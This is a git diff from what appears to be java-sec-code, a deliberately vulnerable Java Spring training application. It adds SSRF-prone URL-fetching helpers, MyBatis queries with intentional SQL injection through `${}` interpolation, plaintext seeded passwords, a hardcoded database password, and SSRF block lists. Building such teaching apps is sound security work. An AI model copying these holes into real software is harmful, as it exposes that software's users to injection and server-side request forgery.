+ URLConnection urlConnection = u.openConnection();
+ HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
+ BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * Jsoup is a HTML parser about Java.
+ *
+ * @param url http request url
+ */
+ public static String Jsoup(String url) {
+ try {
+ Document doc = Jsoup.connect(url)
+ //.followRedirects(false)
+ .timeout(3000)
+ .cookie("name", "joychou") // request cookies
+ .execute().parse();
+ return doc.outerHtml();
+ } catch (IOException e) {
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * The default setting of followRedirects is true. The option of followRedirects is true.
+ *
+ * UserAgent is okhttp/2.5.0.
+ */
+ public static String okhttp(String url) throws IOException {
+ OkHttpClient client = new OkHttpClient();
+ // client.setFollowRedirects(false);
+ com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
+ return client.newCall(ok_http).execute().body().string();
+ }
+
+
+ public static void imageIO(String url) {
+ try {
+ URL u = new URL(url);
+ ImageIO.read(u); // send request
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+
+ }
+
+
+ /**
+ * IOUtils which is wrapped by URLConnection can get remote pictures.
+ * The default setting of redirection is true.
+ *
+ * @param url http request url
+ */
+ public static void IOUtils(String url) {
+ try {
+ IOUtils.toByteArray(URI.create(url));
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+ }
+
+
+ public static String HttpAsyncClients(String url) {
+ CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
+ try {
+ httpclient.start();
+ final HttpGet request = new HttpGet(url);
+ Future future = httpclient.execute(request, null);
+ HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
+ return EntityUtils.toString(response.getEntity());
+ } catch (Exception e) {
+ return e.getMessage();
+ } finally {
+ try {
+ httpclient.close();
+ } catch (Exception e) {
+ logger.error(e.getMessage());
+ }
+ }
+
+ }
+
+}
diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java
new file mode 100644
index 00000000..93ccbd9f
--- /dev/null
+++ b/src/main/java/org/joychou/util/LoginUtils.java
@@ -0,0 +1,21 @@
+package org.joychou.util;
+
+import com.alibaba.fastjson.JSON;
+
+import javax.servlet.http.HttpServletRequest;
+import java.security.Principal;
+import java.util.HashMap;
+import java.util.Map;
+
+public class LoginUtils {
+
+ // get current login username
+ public static String getUserInfo2JsonStr(HttpServletRequest request) {
+ Principal principal = request.getUserPrincipal();
+ String username = principal.getName();
+ Map m = new HashMap<>();
+ m.put("Username", username);
+
+ return JSON.toJSONString(m);
+ }
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
new file mode 100644
index 00000000..4816df8e
--- /dev/null
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -0,0 +1,54 @@
+package org.joychou.util;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+
+import com.google.common.base.Preconditions;
+import org.springframework.web.util.HtmlUtils;
+
+public class WebUtils {
+
+ // Get request body.
+ public static String getRequestBody(HttpServletRequest request) throws IOException {
+ InputStream in = request.getInputStream();
+ return convertStreamToString(in);
+ }
+
+
+ // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
+ public static String convertStreamToString(java.io.InputStream is) {
+ java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
+ return s.hasNext() ? s.next() : "";
+ }
+
+ public static String getCookieValueByName(HttpServletRequest request, String cookieName) {
+ Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
+ return cookie == null ? null : cookie.getValue();
+ }
+
+
+ public static String json2Jsonp(String callback, String jsonStr) {
+ return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
+ }
+
+
+ public static String getFileExtension(String fullName) {
+ Preconditions.checkNotNull(fullName);
+ String fileName = (new File(fullName)).getName();
+ int dotIndex = fileName.lastIndexOf('.');
+ return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
+ }
+
+
+ public static String getNameWithoutExtension(String file) {
+ Preconditions.checkNotNull(file);
+ String fileName = (new File(file)).getName();
+ int dotIndex = fileName.lastIndexOf('.');
+ return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
+ }
+
+
+}
diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java
deleted file mode 100644
index f17de34d..00000000
--- a/src/main/java/org/joychou/utils/Security.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package org.joychou.utils;
-
-import com.google.common.net.InternetDomainName;
-import java.net.URL;
-
-public class Security {
- /**
- * @param url
- * @return 安全url返回true,危险url返回false
- */
- public static Boolean checkSafeUrl(String url, String[] urlwhitelist){
- try{
- URL u = new URL(url);
- // 判断是否是http(s)协议
- if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
- System.out.println("The protocol of url is not http or https.");
- return false;
- }
- String host = u.getHost().toLowerCase();
- // 如果非顶级域名后缀会报错
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
-
- for (String whiteurl: urlwhitelist){
- if (rootDomain.equals(whiteurl)) {
- return true;
- }
- }
-
- System.out.println("Url is not safe.");
- return false;
- }catch (Exception e) {
- System.out.println(e.toString());
- e.printStackTrace();
- return false;
- }
- }
-}
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
new file mode 100644
index 00000000..6f920495
--- /dev/null
+++ b/src/main/resources/application.properties
@@ -0,0 +1,46 @@
+
+spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
+spring.datasource.username=root
+spring.datasource.password=woshishujukumima
+spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
+mybatis.mapper-locations=classpath:mapper/*.xml
+# mybatis SQL log
+logging.level.org.joychou.mapper=debug
+
+# Spring Boot Actuator Config
+management.security.enabled=false
+endpoints.enabled=false
+
+
+# logging.config=classpath:logback-online.xml
+
+# 业务的callback参数,不支持多个
+joychou.business.callback = callback_
+
+
+### check referer configuration begins ###
+joychou.security.referer.enabled = false
+joychou.security.referer.host = joychou.org, joychou.com
+# Only support ant url style.
+joychou.security.referer.uri = /jsonp/**
+### check referer configuration ends ###
+
+
+### csrf configuration begins ###
+# csrf token check
+joychou.security.csrf.enabled = true
+# URI without CSRF check (only support ANT url format)
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**
+# method for CSRF check
+joychou.security.csrf.method = POST
+### csrf configuration ends ###
+
+
+### jsonp configuration begins ### # auto convert json to jsonp
+# referer check
+joychou.security.jsonp.referer.check.enabled = true
+joychou.security.jsonp.callback = callback, _callback
+### jsonp configuration ends ###
+
+# swagger
+swagger.enable = true
\ No newline at end of file
diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt
new file mode 100644
index 00000000..45e1698c
--- /dev/null
+++ b/src/main/resources/banner.txt
@@ -0,0 +1,6 @@
+ ____. _________ _________ .___
+ | |____ ___ _______ / _____/ ____ ____ \_ ___ \ ____ __| _/____
+ | \__ \\ \/ /\__ \ \_____ \_/ __ \_/ ___\ / \ \/ / _ \ / __ |/ __ \
+/\__| |/ __ \\ / / __ \_ / \ ___/\ \___ \ \___( <_> ) /_/ \ ___/
+\________(____ /\_/ (____ / /_______ /\___ >\___ > \______ /\____/\____ |\___ >
+ \/ \/ \/ \/ \/ \/ \/ \/
\ No newline at end of file
diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql
new file mode 100644
index 00000000..350b24f1
--- /dev/null
+++ b/src/main/resources/create_db.sql
@@ -0,0 +1,9 @@
+USE `java_sec_code`;
+CREATE TABLE IF NOT EXISTS `users`(
+ `id` INT UNSIGNED AUTO_INCREMENT,
+ `username` VARCHAR(255) NOT NULL,
+ `password` VARCHAR(255) NOT NULL,
+ PRIMARY KEY (`id`)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+INSERT INTO `users` VALUES (1, 'admin', 'admin123');
+INSERT INTO `users` VALUES (2, 'joychou', 'joychou123');
diff --git a/src/main/resources/logback-online.xml b/src/main/resources/logback-online.xml
new file mode 100644
index 00000000..4bda3a99
--- /dev/null
+++ b/src/main/resources/logback-online.xml
@@ -0,0 +1,12 @@
+
+
+ true
+
+ [%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml
new file mode 100644
index 00000000..e6894071
--- /dev/null
+++ b/src/main/resources/mapper/UserMapper.xml
@@ -0,0 +1,35 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ select * from users where username like '%${_parameter}%'
+
+
+
+ select * from users
+
+ order by ${order} asc
+
+
+
+
+ select * from users where id = #{id}
+
+
+
+
+ select * from users order by id asc limit 1
+
+
\ No newline at end of file
diff --git a/src/main/resources/static/css/login.css b/src/main/resources/static/css/login.css
new file mode 100644
index 00000000..26401f4e
--- /dev/null
+++ b/src/main/resources/static/css/login.css
@@ -0,0 +1,106 @@
+.login-page {
+ width: 360px;
+ padding: 8% 0 0;
+ margin: auto;
+}
+.form {
+ position: relative;
+ z-index: 1;
+ background: #ffffff;
+ max-width: 360px;
+ margin: 0 auto 100px;
+ padding: 45px;
+ text-align: center;
+ box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
+}
+.form input {
+ outline: 0;
+ background: #f2f2f2;
+ width: 100%;
+ border: 0;
+ margin: 0 0 15px;
+ padding: 15px;
+ box-sizing: border-box;
+ font-size: 14px;
+}
+.form button {
+ text-transform: uppercase;
+ outline: 0;
+ background: #4caf50;
+ width: 100%;
+ border: 0;
+ padding: 15px;
+ color: #ffffff;
+ font-size: 14px;
+ -webkit-transition: all 0.3 ease;
+ transition: all 0.3 ease;
+ cursor: pointer;
+}
+.form button:hover,
+.form button:active,
+.form button:focus {
+ background: #43a047;
+}
+.form .message {
+ margin: 15px 0 0;
+ color: #b3b3b3;
+ font-size: 12px;
+}
+.form .message a {
+ color: #4caf50;
+ text-decoration: none;
+}
+.form .register-form {
+ display: none;
+}
+.form p {
+ text-align: left;
+ margin: 0;
+ font-size: 13px;
+}
+.form p input {
+ width: auto;
+ margin-right: 10px;
+}
+.container {
+ position: relative;
+ z-index: 1;
+ max-width: 300px;
+ margin: 0 auto;
+}
+.container:before,
+.container:after {
+ content: "";
+ display: block;
+ clear: both;
+}
+.container .info {
+ margin: 50px auto;
+ text-align: center;
+}
+.container .info h1 {
+ margin: 0 0 15px;
+ padding: 0;
+ font-size: 36px;
+ font-weight: 300;
+ color: #1a1a1a;
+}
+.container .info span {
+ color: #4d4d4d;
+ font-size: 12px;
+}
+.container .info span a {
+ color: #000000;
+ text-decoration: none;
+}
+.container .info span .fa {
+ color: #ef3b3a;
+}
+body {
+ background: #76b852; /* fallback for old browsers */
+ background: -webkit-linear-gradient(right, #76b852, #8dc26f);
+ background: -moz-linear-gradient(right, #76b852, #8dc26f);
+ background: -o-linear-gradient(right, #76b852, #8dc26f);
+ background: linear-gradient(to left, #76b852, #8dc26f);
+ font-family: Lato,"PingFang SC","Microsoft YaHei",sans-serif;
+}
diff --git a/src/main/resources/templates/form.html b/src/main/resources/templates/form.html
new file mode 100644
index 00000000..2ed5a571
--- /dev/null
+++ b/src/main/resources/templates/form.html
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
new file mode 100644
index 00000000..9d27f958
--- /dev/null
+++ b/src/main/resources/templates/index.html
@@ -0,0 +1,28 @@
+
+
+
+
+ Home Page
+
+
+ Hello .
+ Welcome to login java-sec-code application. Application Infomation
+
+ Swagger
+ CmdInject
+ JSONP
+ Picture Upload
+ File Upload
+ Cors
+ PathTraversal
+ SqlInject
+ SSRF
+ RCE
+ ooxml XXE
+ xlsx-streamer XXE
+
+ ...
+ logout
+
+
+
\ No newline at end of file
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
new file mode 100644
index 00000000..1a4c4225
--- /dev/null
+++ b/src/main/resources/templates/login.html
@@ -0,0 +1,68 @@
+
+
+
+
+ Login
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html
index 309faa9c..03ecf15f 100755
--- a/src/main/resources/templates/upload.html
+++ b/src/main/resources/templates/upload.html
@@ -4,7 +4,7 @@
file upload
-
diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html
new file mode 100644
index 00000000..66a6f64d
--- /dev/null
+++ b/src/main/resources/templates/uploadPic.html
@@ -0,0 +1,13 @@
+
+
+
+
+file upload only picture
+
+
+
+
+
diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html
old mode 100755
new mode 100644
diff --git a/src/main/resources/templates/xxe_upload.html b/src/main/resources/templates/xxe_upload.html
new file mode 100644
index 00000000..d58426f0
--- /dev/null
+++ b/src/main/resources/templates/xxe_upload.html
@@ -0,0 +1,14 @@
+
+
+
+
+xlsx xxe test page
+
+
+
+
+
diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml
new file mode 100644
index 00000000..eb5e4c44
--- /dev/null
+++ b/src/main/resources/url/ssrf_safe_domain.xml
@@ -0,0 +1,22 @@
+
+
+
+
+
+
+ img.alicdn.com
+
+
+
+ 10.0.0.0/8
+ 172.16.0.0/12
+ 192.168.0.0/16
+ 127.0.0.0/8
+ 0.0.0.0/32
+
+
+
+ joychou-inc.com
+
+
+
diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml
new file mode 100644
index 00000000..ee81efcf
--- /dev/null
+++ b/src/main/resources/url/url_safe_domain.xml
@@ -0,0 +1,18 @@
+
+
+
+
+
+ joychou.com
+ joychou.org
+ test.joychou.org
+ localhost
+
+
+
+
+ baidu.com
+ evil.joychou.org
+
+
+